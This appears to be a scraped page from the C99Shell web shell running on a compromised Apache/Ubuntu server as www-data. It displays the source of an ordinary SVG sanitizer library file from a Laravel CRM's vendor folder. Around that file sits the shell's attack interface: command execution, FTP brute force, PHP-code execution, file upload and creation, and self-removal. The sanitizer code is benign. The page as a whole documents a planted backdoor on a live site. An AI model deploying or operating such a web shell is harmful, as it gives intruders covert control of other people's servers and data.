!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/enshrined/svg-sanitize/src/   drwxrwxrwx
Free 12.99 GB of 57.97 GB (22.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Sanitizer.php (21.07 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace enshrined\svgSanitize;

use 
enshrined\svgSanitize\data\AllowedAttributes;
use 
enshrined\svgSanitize\data\AllowedTags;
use 
enshrined\svgSanitize\data\AttributeInterface;
use 
enshrined\svgSanitize\data\TagInterface;
use 
enshrined\svgSanitize\data\XPath;
use 
enshrined\svgSanitize\ElementReference\Resolver;

/**
 * Class Sanitizer
 *
 * @package enshrined\svgSanitize
 */
class Sanitizer
{

    
/**
     * @var \DOMDocument
     */
    
protected $xmlDocument;

    
/**
     * @var array
     */
    
protected $allowedTags;

    
/**
     * @var array
     */
    
protected $allowedAttrs;

    
/**
     * @var
     */
    
protected $xmlLoaderValue;

    
/**
     * @var bool
     */
    
protected $xmlErrorHandlerPreviousValue;

    
/**
     * @var bool
     */
    
protected $minifyXML false;

    
/**
     * @var bool
     */
    
protected $removeRemoteReferences false;

    
/**
     * @var int
     */
    
protected $useThreshold 1000;

    
/**
     * @var bool
     */
    
protected $removeXMLTag false;

    
/**
     * @var int
     */
    
protected $xmlOptions LIBXML_NOEMPTYTAG;

    
/**
     * @var array
     */
    
protected $xmlIssues = array();

    
/**
     * @var Resolver
     */
    
protected $elementReferenceResolver;

    
/**
     * @var int
     */
    
protected $useNestingLimit 15;

    
/**
     * @var bool
     */
    
protected $allowHugeFiles false;

    
/**
     *
     */
    
function __construct()
    {
        
// Load default tags/attributes
        
$this->allowedAttrs array_map('strtolower'AllowedAttributes::getAttributes());
        
$this->allowedTags array_map('strtolower'AllowedTags::getTags());
    }

    
/**
     * Set up the DOMDocument
     */
    
protected function resetInternal()
    {
        
$this->xmlDocument = new \DOMDocument();
        
$this->xmlDocument->preserveWhiteSpace false;
        
$this->xmlDocument->strictErrorChecking false;
        
$this->xmlDocument->formatOutput = !$this->minifyXML;
    }

    
/**
     * Set XML options to use when saving XML
     * See: DOMDocument::saveXML
     *
     * @param int  $xmlOptions
     */
    
public function setXMLOptions($xmlOptions)
    {
        
$this->xmlOptions $xmlOptions;
    }

    
/**
     * Get XML options to use when saving XML
     * See: DOMDocument::saveXML
     *
     * @return int
     */
    
public function getXMLOptions()
    {
        return 
$this->xmlOptions;
    }

    
/**
     * Get the array of allowed tags
     *
     * @return array
     */
    
public function getAllowedTags()
    {
        return 
$this->allowedTags;
    }

    
/**
     * Set custom allowed tags
     *
     * @param TagInterface $allowedTags
     */
    
public function setAllowedTags(TagInterface $allowedTags)
    {
        
$this->allowedTags array_map('strtolower'$allowedTags::getTags());
    }

    
/**
     * Get the array of allowed attributes
     *
     * @return array
     */
    
public function getAllowedAttrs()
    {
        return 
$this->allowedAttrs;
    }

    
/**
     * Set custom allowed attributes
     *
     * @param AttributeInterface $allowedAttrs
     */
    
public function setAllowedAttrs(AttributeInterface $allowedAttrs)
    {
        
$this->allowedAttrs array_map('strtolower'$allowedAttrs::getAttributes());
    }

    
/**
     * Should we remove references to remote files?
     *
     * @param bool $removeRemoteRefs
     */
    
public function removeRemoteReferences($removeRemoteRefs false)
    {
        
$this->removeRemoteReferences $removeRemoteRefs;
    }

    
/**
     * Get XML issues.
     *
     * @return array
     */
    
public function getXmlIssues() {
        return 
$this->xmlIssues;
    }

    
/**
     * Can we allow huge files?
     *
     * @return bool
     */
    
public function getAllowHugeFiles() {
        return 
$this->allowHugeFiles;
    }

    
/**
     * Set whether we can allow huge files.
     *
     * @param bool $allowHugeFiles
     */
    
public function setAllowHugeFiles$allowHugeFiles ) {
        
$this->allowHugeFiles $allowHugeFiles;
    }


    
/**
     * Sanitize the passed string
     *
     * @param string $dirty
     * @return string|false
     */
    
public function sanitize($dirty)
    {
        
// Don't run on an empty string
        
if (empty($dirty)) {
            return 
'';
        }

        do {
            
/*
             * recursively remove php tags because they can be hidden inside tags
             * i.e. <?p<?php test?>hp echo . ' danger! ';?>
             */
            
$dirty preg_replace('/<\?(=|php)(.+?)\?>/i'''$dirty);
        } while (
preg_match('/<\?(=|php)(.+?)\?>/i'$dirty) != 0);

        
$this->resetInternal();
        
$this->setUpBefore();

        
$loaded $this->xmlDocument->loadXML($dirty$this->getAllowHugeFiles() ? LIBXML_PARSEHUGE 0);

        
// If we couldn't parse the XML then we go no further. Reset and return false
        
if (!$loaded) {
            
$this->xmlIssues self::getXmlErrors();
            
$this->resetAfter();
            return 
false;
        }

        
// Pre-process all identified elements
        
$xPath = new XPath($this->xmlDocument);
        
$this->elementReferenceResolver = new Resolver($xPath$this->useNestingLimit);
        
$this->elementReferenceResolver->collect();
        
$elementsToRemove $this->elementReferenceResolver->getElementsToRemove();

        
// Start the cleaning process
        
$this->startClean($this->xmlDocument->childNodes$elementsToRemove);

        
// Save cleaned XML to a variable
        
if ($this->removeXMLTag) {
            
$clean $this->xmlDocument->saveXML($this->xmlDocument->documentElement$this->xmlOptions);
        } else {
            
$clean $this->xmlDocument->saveXML($this->xmlDocument$this->xmlOptions);
        }

        
$this->resetAfter();

        
// Remove any extra whitespaces when minifying
        
if ($this->minifyXML) {
            
$clean preg_replace('/\s+/'' '$clean);
        }

        
// Return result
        
return $clean;
    }

    
/**
     * Set up libXML before we start
     */
    
protected function setUpBefore()
    {
        
// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
        // disabled by default, so this function is no longer needed to protect against XXE attacks.
        
if (\LIBXML_VERSION 20900) {
            
// Turn off the entity loader
            
$this->xmlLoaderValue libxml_disable_entity_loader(true);
        }

        
// Suppress the errors because we don't really have to worry about formation before cleansing.
        // See reset in resetAfter().
        
$this->xmlErrorHandlerPreviousValue libxml_use_internal_errors(true);

        
// Reset array of altered XML
        
$this->xmlIssues = array();
    }

    
/**
     * Reset the class after use
     */
    
protected function resetAfter()
    {
        
// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
        // disabled by default, so this function is no longer needed to protect against XXE attacks.
        
if (\LIBXML_VERSION 20900) {
            
// Reset the entity loader
            
libxml_disable_entity_loader($this->xmlLoaderValue);
        }

        
libxml_clear_errors();
        
libxml_use_internal_errors($this->xmlErrorHandlerPreviousValue);
    }

    
/**
     * Start the cleaning with tags, then we move onto attributes and hrefs later
     *
     * @param \DOMNodeList $elements
     * @param array        $elementsToRemove
     */
    
protected function startClean(\DOMNodeList $elements, array $elementsToRemove)
    {
        
// loop through all elements
        // we do this backwards so we don't skip anything if we delete a node
        // see comments at: http://php.net/manual/en/class.domnamednodemap.php
        
for ($i $elements->length 1$i >= 0$i--) {
            
/** @var \DOMElement $currentElement */
            
$currentElement $elements->item($i);

            
/**
             * If the element has exceeded the nesting limit, we should remove it.
             *
             * As it's only <use> elements that cause us issues with nesting DOS attacks
             * we should check what the element is before removing it. For now we'll only
             * remove <use> elements.
             */
            
if (in_array($currentElement$elementsToRemove) && 'use' === $currentElement->nodeName) {
                
$currentElement->parentNode->removeChild($currentElement);
                
$this->xmlIssues[] = array(
                    
'message' => 'Invalid \'' $currentElement->tagName '\'',
                    
'line'    => $currentElement->getLineNo(),
                );
                continue;
            }

            if (
$currentElement instanceof \DOMElement) {
                
// If the tag isn't in the whitelist, remove it and continue with next iteration
                
if (!in_array(strtolower($currentElement->tagName), $this->allowedTags)) {
                    
$currentElement->parentNode->removeChild($currentElement);
                    
$this->xmlIssues[] = array(
                        
'message' => 'Suspicious tag \'' $currentElement->tagName '\'',
                        
'line' => $currentElement->getLineNo(),
                    );
                    continue;
                }

                
$this->cleanHrefs$currentElement );

                
$this->cleanXlinkHrefs$currentElement );

                
$this->cleanAttributesOnWhitelist($currentElement);

                if (
strtolower($currentElement->tagName) === 'use') {
                    if (
$this->isUseTagDirty($currentElement)
                        || 
$this->isUseTagExceedingThreshold($currentElement)
                    ) {
                        
$currentElement->parentNode->removeChild($currentElement);
                        
$this->xmlIssues[] = array(
                            
'message' => 'Suspicious \'' $currentElement->tagName '\'',
                            
'line' => $currentElement->getLineNo(),
                        );
                        continue;
                    }
                }

                
// Strip out font elements that will break out of foreign content.
                
if (strtolower($currentElement->tagName) === 'font') {
                    
$breaksOutOfForeignContent false;
                    for (
$x $currentElement->attributes->length 1$x >= 0$x--) {
                        
// get attribute name
                        
$attrName $currentElement->attributes->item$x )->nodeName;

                        if (
in_array(strtolower($attrName), ['face''color''size'])) {
                            
$breaksOutOfForeignContent true;
                        }
                    }

                    if (
$breaksOutOfForeignContent) {
                        
$currentElement->parentNode->removeChild($currentElement);
                        
$this->xmlIssues[] = array(
                            
'message' => 'Suspicious tag \'' $currentElement->tagName '\'',
                            
'line' => $currentElement->getLineNo(),
                        );
                        continue;
                    }
                }
            }

            
$this->cleanUnsafeNodes($currentElement);

            if (
$currentElement->hasChildNodes()) {
                
$this->startClean($currentElement->childNodes$elementsToRemove);
            }
        }
    }

    
/**
     * Only allow attributes that are on the whitelist
     *
     * @param \DOMElement $element
     */
    
protected function cleanAttributesOnWhitelist(\DOMElement $element)
    {
        for (
$x $element->attributes->length 1$x >= 0$x--) {
            
// get attribute name
            
$attrName $element->attributes->item($x)->nodeName;

            
// Remove attribute if not in whitelist
            
if (!in_array(strtolower($attrName), $this->allowedAttrs) && !$this->isAriaAttribute(strtolower($attrName)) && !$this->isDataAttribute(strtolower($attrName))) {

                
$element->removeAttribute($attrName);
                
$this->xmlIssues[] = array(
                    
'message' => 'Suspicious attribute \'' $attrName '\'',
                    
'line' => $element->getLineNo(),
                );
            }

            
/**
             * This is used for when a namespace isn't imported properly.
             * Such as xlink:href when the xlink namespace isn't imported.
             * We have to do this as the link is still ran in this case.
             */
            
if (false !== strpos($attrName'href')) {
                
$href $element->getAttribute($attrName);
                if (
false === $this->isHrefSafeValue($href)) {
                    
$element->removeAttribute($attrName);
                    
$this->xmlIssues[] = array(
                        
'message' => 'Suspicious attribute \'href\'',
                        
'line'    => $element->getLineNo(),
                    );
                }
            }

            
// Do we want to strip remote references?
            
if($this->removeRemoteReferences) {
                
// Remove attribute if it has a remote reference
                
if (isset($element->attributes->item($x)->value) && $this->hasRemoteReference($element->attributes->item($x)->value)) {
                    
$element->removeAttribute($attrName);
                    
$this->xmlIssues[] = array(
                        
'message' => 'Suspicious attribute \'' $attrName '\'',
                        
'line' => $element->getLineNo(),
                    );
                }
            }
        }
    }

    
/**
     * Clean the xlink:hrefs of script and data embeds
     *
     * @param \DOMElement $element
     */
    
protected function cleanXlinkHrefs(\DOMElement $element)
    {
        
$xlinks $element->getAttributeNS('http://www.w3.org/1999/xlink''href');
        if (
false === $this->isHrefSafeValue($xlinks)) {
            
$element->removeAttributeNS'http://www.w3.org/1999/xlink''href' );
            
$this->xmlIssues[] = array(
                
'message' => 'Suspicious attribute \'href\'',
                
'line' => $element->getLineNo(),
            );
        }
    }

    
/**
     * Clean the hrefs of script and data embeds
     *
     * @param \DOMElement $element
     */
    
protected function cleanHrefs(\DOMElement $element)
    {
        
$href $element->getAttribute('href');
        if (
false === $this->isHrefSafeValue($href)) {
            
$element->removeAttribute('href');
            
$this->xmlIssues[] = array(
                
'message' => 'Suspicious attribute \'href\'',
                
'line' => $element->getLineNo(),
            );
        }
    }

    
/**
     * Only allow whitelisted starts to be within the href.
     *
     * This will stop scripts etc from being passed through, with or without attempting to hide bypasses.
     * This stops the need for us to use a complicated script regex.
     *
     * @param $value
     * @return bool
     */
    
protected function isHrefSafeValue($value) {

        
// Allow empty values
        
if (empty($value)) {
            return 
true;
        }

        
// Allow fragment identifiers.
        
if ('#' === substr($value01)) {
            return 
true;
        }

        
// Allow relative URIs.
        
if ('/' === substr($value01)) {
            return 
true;
        }

        
// Allow HTTPS domains.
        
if ('https://' === substr($value08)) {
            return 
true;
        }

        
// Allow HTTP domains.
        
if ('http://' === substr($value07)) {
            return 
true;
        }

        
// Allow known data URIs.
        
if (in_array(substr($value014), array(
            
'data:image/png'// PNG
            
'data:image/gif'// GIF
            
'data:image/jpg'// JPG
            
'data:image/jpe'// JPEG
            
'data:image/pjp'// PJPEG
        
))) {
            return 
true;
        }

        
// Allow known short data URIs.
        
if (in_array(substr($value012), array(
            
'data:img/png'// PNG
            
'data:img/gif'// GIF
            
'data:img/jpg'// JPG
            
'data:img/jpe'// JPEG
            
'data:img/pjp'// PJPEG
        
))) {
            return 
true;
        }

        return 
false;
    }

    
/**
     * Removes non-printable ASCII characters from string & trims it
     *
     * @param string $value
     * @return bool
     */
    
protected function removeNonPrintableCharacters($value)
    {
        return 
trim(preg_replace('/[^ -~]/xu','',$value));
    }

    
/**
     * Does this attribute value have a remote reference?
     *
     * @param $value
     * @return bool
     */
    
protected function hasRemoteReference($value)
    {
        
$value $this->removeNonPrintableCharacters($value);

        
$wrapped_in_url preg_match('~^url\(\s*[\'"]\s*(.*)\s*[\'"]\s*\)$~xi'$value$match);
        if (!
$wrapped_in_url){
            return 
false;
        }

        
$value trim($match[1], '\'"');

        return 
preg_match('~^((https?|ftp|file):)?//~xi'$value);
    }

    
/**
     * Should we minify the output?
     *
     * @param bool $shouldMinify
     */
    
public function minify($shouldMinify false)
    {
        
$this->minifyXML = (bool) $shouldMinify;
    }

    
/**
     * Should we remove the XML tag in the header?
     *
     * @param bool $removeXMLTag
     */
    
public function removeXMLTag($removeXMLTag false)
    {
        
$this->removeXMLTag = (bool) $removeXMLTag;
    }

    
/**
     * Whether `<use ... xlink:href="#identifier">` elements shall be
     * removed in case expansion would exceed this threshold.
     *
     * @param int $useThreshold
     */
    
public function useThreshold($useThreshold 1000)
    {
        
$this->useThreshold = (int)$useThreshold;
    }

    
/**
     * Check to see if an attribute is an aria attribute or not
     *
     * @param $attributeName
     *
     * @return bool
     */
    
protected function isAriaAttribute($attributeName)
    {
        return 
strpos($attributeName'aria-') === 0;
    }

    
/**
     * Check to see if an attribute is an data attribute or not
     *
     * @param $attributeName
     *
     * @return bool
     */
    
protected function isDataAttribute($attributeName)
    {
        return 
strpos($attributeName'data-') === 0;
    }

    
/**
     * Make sure our use tag is only referencing internal resources
     *
     * @param \DOMElement $element
     * @return bool
     */
    
protected function isUseTagDirty(\DOMElement $element)
    {
        
$href Helper::getElementHref($element);
        return 
$href && strpos($href'#') !== 0;
    }

    
/**
     * Determines whether `<use ... xlink:href="#identifier">` is expanded
     * recursively in order to create DoS scenarios. The amount of a actually
     * used element needs to be below `$this->useThreshold`.
     *
     * @param \DOMElement $element
     * @return bool
     */
    
protected function isUseTagExceedingThreshold(\DOMElement $element)
    {
        if (
$this->useThreshold <= 0) {
            return 
false;
        }
        
$useId Helper::extractIdReferenceFromHref(
            
Helper::getElementHref($element)
        );
        if (
$useId === null) {
            return 
false;
        }
        foreach (
$this->elementReferenceResolver->findByElementId($useId) as $subject) {
            if (
$subject->countUse() >= $this->useThreshold) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * Set the nesting limit for <use> tags.
     *
     * @param $limit
     */
    
public function setUseNestingLimit($limit)
    {
        
$this->useNestingLimit = (int) $limit;
    }

    
/**
     * Remove nodes that are either invalid or malformed.
     *
     * @param \DOMNode $currentElement The current element.
     */
    
protected function cleanUnsafeNodes(\DOMNode $currentElement) {
        
// Replace CDATA node with encoded text node
        
if ($currentElement instanceof \DOMCdataSection) {
            
$textNode $currentElement->ownerDocument->createTextNode($currentElement->nodeValue);
            
$currentElement->parentNode->replaceChild($textNode$currentElement);
        
// If the element doesn't have a tagname, remove it and continue with next iteration
        
} elseif (!$currentElement instanceof \DOMElement && !$currentElement instanceof \DOMText) {
            
$currentElement->parentNode->removeChild($currentElement);
            
$this->xmlIssues[] = array(
                
'message' => 'Suspicious node \'' $currentElement->nodeName '\'',
                
'line' => $currentElement->getLineNo(),
            );
            return;
        }

        if ( 
$currentElement->childNodes && $currentElement->childNodes->length ) {
            for (
$j $currentElement->childNodes->length 1$j >= 0$j--) {
                
/** @var \DOMElement $childElement */
                
$childElement $currentElement->childNodes->item($j);
                
$this->cleanUnsafeNodes($childElement);
            }
        }
    }

    
/**
     * Retrieve array of errors
     * @return array
     */
    
private static function getXmlErrors()
    {
        
$errors = [];
        foreach (
libxml_get_errors() as $error) {
            
$errors[] = [
                
'message' => trim($error->message),
                
'line' => $error->line,
            ];
        }

        return 
$errors;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--